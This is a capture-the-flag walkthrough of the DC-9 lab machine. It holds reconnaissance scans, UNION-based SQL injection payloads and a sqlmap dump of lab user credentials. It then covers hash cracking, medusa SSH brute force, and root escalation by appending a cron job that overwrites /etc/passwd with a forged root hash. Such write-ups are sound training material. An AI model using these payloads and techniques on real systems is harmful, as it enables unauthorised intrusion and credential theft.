

dc9

netdiscover

```
192.168.2.100    08:00:27:d2:0b:a1
```

default scripts scan

```
root@kali:~# nmap -sC -p- dc9
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-01 16:12 +08
Nmap scan report for dc9 (192.168.2.100)
Host is up (0.00081s latency).
Not shown: 65533 closed ports
PORT      STATE      SERVICE
22/tcp    filtered  ssh
80/tcp    open       http
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 08:00:27:D2:0B:A1 (Oracle VirtualBox virtual NIC)
```

default version scan

```
root@kali:~# nmap -sV -p- dc9
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-01 16:12 +08
Nmap scan report for dc9 (192.168.2.100)
Host is up (0.00053s latency).
Not shown: 65533 closed ports
PORT      STATE      SERVICE VERSION
22/tcp    filtered  ssh
80/tcp    open       http      Apache httpd 2.4.38 ((Debian))
```

web enumeration

```
root@kali:~# dirb http://dc9
```

```
-----  
DIRB v2.22  
By The Dark Raver  
-----
```

```
START_TIME: Wed Jan  1 16:18:08 2020  
URL_BASE: http://dc9/  
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
```

```
-----  
GENERATED WORDS: 4612
```

```
---- Scanning URL: http://dc9/ ----  
==> DIRECTORY: http://dc9/css/  
==> DIRECTORY: http://dc9/includes/  
+ http://dc9/index.php (CODE:200|SIZE:917)  
+ http://dc9/server-status (CODE:403|SIZE:268)
```

```
---- Entering directory: http://dc9/css/ ----  
(!) WARNING: Directory IS LISTABLE. No need to scan it.  
      (Use mode '-w' if you want to scan it anyway)
```

```
---- Entering directory: http://dc9/includes/ ----  
(!) WARNING: Directory IS LISTABLE. No need to scan it.  
      (Use mode '-w' if you want to scan it anyway)
```

Finding php files

```

root@kali:~# gobuster dir --url http://dc9 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://dc9
[+] Threads:      10
[+] Wordlist:      /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:    gobuster/3.0.1
[+] Extensions:  php
[+] Timeout:      10s
=====
2020/01/01 16:19:21 Starting gobuster
=====
/index.php (Status: 200)
/search.php (Status: 200)
/welcome.php (Status: 302)
/results.php (Status: 200)
/display.php (Status: 200)
/css (Status: 301)
/includes (Status: 301)
/logout.php (Status: 302)
/config.php (Status: 200)
/manage.php (Status: 200)
/session.php (Status: 302)
/server-status (Status: 403)

```

sed - removes tags

grep - only filter numbers

awk - filter numbers whose length is more than 2

```
cat results.txt | grep example | sed 's/<[^>]*>//g' | grep -o -E '[0-9]+' | awk 'length($0) > 2'
```

sed - removes tags

grep - filters emails

cut - filter the username portion of the email

```
cat results.txt | grep example | sed 's/<[^>]*>//g' | grep -i -o '[A-Z0-9._%+-]\++@[A-Z0-9.-]\++\.[A-Z]{2,4}' | cut -d '@' -f1
```

testing for sqli

Search information

You can search using either the first or last name.

Search:

Search results

ID: 1
Name: Mary Moe
Position: CEO
Phone No: 46478415155456
Email: marym@example.com

ID: 2
Name: Julie Dooley
Position: Human Resources
Phone No: 46457131654
Email: julied@example.com

ID: 3
Name: Fred Flintstone
Position: Systems Administrator
Phone No: 46415323
Email: fredf@example.com

ID: 4
Name: Barney Rubble
Position: Help Desk
Phone No: 324643564
Email: barneyr@example.com

Determine number of fields

```
admin' union select 1,2,3,4,5,6 #
```

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email: 6

Getting info

```
admin' union select user(),version(),null,database(),null,null#
```

Search results

ID: dbuser@localhost
Name: 10.3.17-MariaDB-0+deb10u1
Position: Staff
Phone No:
Email:

List database

admin' union select 1,2,3,4,5,schema_name from information_schema.schemata#

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:information_schema

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:Staff

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:users

Tables inside database named `users`

admin' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='users'#

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:UserDetails

Column name inside table named `UserDetails` and database named `users`

admin' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='UserDetails' and table_schema='users'#

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:id

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:firstname

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:lastname

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:username

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:password

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email:reg_date

sqlmap dump creds

Database: users
Table: UserDetails

```
root@kali:~/pwn# sqlmap -r req.txt --dbs -D users -T UserDetails --dump
```

id	username	lastname	reg_date	password	firstname
1	marym	Moe	2019-12-29 16:58:26	3kfs86sfd	Mary
2	julied	Dooley	2019-12-29 16:58:26	468sfdfsd2	Julie
3	fredf	Flintstone	2019-12-29 16:58:26	4sfd87sfd1	Fred
4	barneyr	Rubble	2019-12-29 16:58:26	Rocks0ff	Barney
5	tomc	Cat	2019-12-29 16:58:26	TC&TheBoyz	Tom
6	jerrym	Mouse	2019-12-29 16:58:26	B8m#48sd	Jerry
7	wilmaf	Flintstone	2019-12-29 16:58:26	Pebbles	Wilma
8	bettyr	Rubble	2019-12-29 16:58:26	BamBam01	Betty
9	chandlerb	Bing	2019-12-29 16:58:26	UrAG0D!	Chandler
10	joeyt	Tribbiani	2019-12-29 16:58:26	Passw0rd	Joey
11	rachelg	Green	2019-12-29 16:58:26	yN72#dsd	Rachel
12	rossg	Geller	2019-12-29 16:58:26	ILoveRachel	Ross
13	monicag	Geller	2019-12-29 16:58:26	3248dsds7s	Monica
14	phoebeb	Buffay	2019-12-29 16:58:26	smellycats	Phoebe
15	scoots	McScoots	2019-12-29 16:58:26	YR3BVxxxw87	Scooter
16	janitor	Trump	2019-12-29 16:58:26	Ilovepeepee	Donald
17	janitor2	Morrison	2019-12-29 16:58:28	Hawaii-Five-0	Scott

Database: Staff

Table: Users

[1 entry]

UserID	Username	Password
1	admin	856f5de590ef37314e7c3bdf6f8a66dc

[18:35:50] [INFO] table 'Staff.Users' dumped to CSV file '/root/.pwn/Staff/Users.csv'

[18:35:50] [INFO] fetched data logged to text files under '/root/.pwn/Staff/Users'

[*] ending @ 18:35:50 /2020-01-01/

root@kali:~/pwn# sqlmap -r req.txt -D Staff -T Users --dump

856f5de590ef37314e7c3bdf6f8a66dc

Crack my Hashes

Upload button disabled? We use Google reCAPTCHA v3.

Cracker Results:

856f5de590ef37314e7c3bdf6f8a66dc MD5 transorbital1

Able to login, was confused but found guide thanks to <https://medium.com/infosec-adventures/dc-9-walkthrough-c2afeaa1466a>
Start ssh from init first

ACCOUNT FOUND: [ssh] Host: 192.168.2.100 User: janitor Password: Ilovepeepee [SUCCESS]

Finding routes for priv escalation

```
janitor@dc-9:~/secrets-for-putin$ ls -l
total 12K
drwx----- 2 janitor janitor 4.0K Dec 29 17:10 ./
drwx----- 4 janitor janitor 4.0K Jan  1 21:35 ../
-rwx----- 1 janitor janitor   66 Dec 29 17:10 passwords-found-on-post-it-notes.txt*
janitor@dc-9:~/secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
janitor@dc-9:~/secrets-for-putin$
```

```
joeyt@dc-9:~$ sudo -l
[sudo] password for joeyt:
Sorry, user joeyt may not run sudo on dc-9.
joeyt@dc-9:~$
```

```
janitor@dc-9:~/secrets-for-putin$ sudo -l
[sudo] password for janitor:
Sorry, user janitor may not run sudo on dc-9.
janitor@dc-9:~/secrets-for-putin$
```

```
chandlerb@dc-9:~$ sudo -l
[sudo] password for chandlerb:
Sorry, user chandlerb may not run sudo on dc-9.
chandlerb@dc-9:~$
```

```

chandlerb@dc-9:~$ find / -type f -perm -4000 2> /dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/su
/usr/bin/mount

```

With new found passwords, use medusa again and log found credentials on found.txt

```

medusa -U users.txt -P pass.txt -h 192.168.2.100 -M ssh -O found.txt

```

```

root@kali:~/.sqlmap/output/dc9/dump/users# cat found.txt
# Medusa v.2.2 (2020-01-01 19:40:27)
# medusa -U users.txt -P pass.txt -h 192.168.2.100 -M ssh -O found.txt
ACCOUNT FOUND: [ssh] Host: 192.168.2.100 User: fredf Password: B4-Tru3-001 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.2.100 User: chandlerb Password: UrAG0D! [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.2.100 User: joeyt Password: Passw0rd [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.2.100 User: janitor Password: Ilovepeepee [SUCCESS]
root@kali:~/.sqlmap/output/dc9/dump/users#

```

Apparently fred can run a binary as root

```

root@kali:~/.sqlmap/output/dc9/dump/users# ssh fredf@dc9
fredf@dc9's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test
fredf@dc-9:~$

```

It reads a file and append its content into another file

```

fredf@dc-9:/tmp$ sudo /opt/devstuff/dist/test/test
Usage: python test.py read append

```

To generate a password for root:

openssl passwd -1 password

Copy /etc/passwd to tmp directory and modify it with the hash above

```

root:$1$w/htmd1h$43q/EXvvbg6uVW.9dmW4N.:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash
jerryx:x:1006:1006:Jerry Mouse:/home/jerryx:/bin/bash
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash

```

Unmodified crontab content

```

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

```

Content to be added, what it means it will copy the edited passwd file found in /tmp directory to /etc directory and it means we will change root password to our own

```
* * * * * root cp /tmp/passwd /etc/passwd
```

Run the sudo command to add our modified content to the crontab

```
fredf@dc-9:/tmp$ sudo /opt/devstuff/dist/test/test addcron /etc/crontab
fredf@dc-9:/tmp$
```

Verify that content is added

```
# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root cp /tmp/passwd /etc/passwd
```

Test the our modified creds is added to /etc/passwd

```
fredf@dc-9:/tmp$ cat /etc/passwd | grep root
root:$1$w/htmd1h$43q/EXvbg6uVW.9dmW4N.:0:0:root:/root:/bin/bash
fredf@dc-9:/tmp$
```

Escalating to root user

```
fredf@dc-9:/tmp$ su root
Password:
root@dc-9:/tmp# cd /root
root@dc-9:~# ls -Flah
total 32K
drwx----- 5 root root 4.0K Dec 29 21:49 ./
drwxr-xr-x 18 root root 4.0K Dec 29 14:40 ../
lrwxrwxrwx 1 root root 9 Dec 29 17:14 .bash_history -> /dev/null
-rwx----- 1 root root 570 Jan 31 2010 .bashrc*
drwxr-xr-x 3 root root 4.0K Dec 29 19:35 .cache/
drwx----- 3 root root 4.0K Dec 29 14:57 .gnupg/
drwx----- 3 root root 4.0K Dec 29 18:37 .local/
-rwx----- 1 root root 148 Aug 18 2015 .profile*
-rwx----- 1 root root 1.8K Dec 29 17:13 theflag.txt*
```

Root flag

```
root@dc-9:~# cat theflag.txt
```

NICE WORK!!!

Congratulations - you have done well to get to this point.

Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those who have taken the time to complete the various DC challenges.

I also want to send out a big thank you to the various members of @m0tl3ycr3w .

They are an inspirational bunch of fellows.

Sure, they might smell a bit, but...just kidding. :-)

Sadly, all things must come to an end, and this will be the last ever challenge in the DC series.

So long, and thanks for all the fish.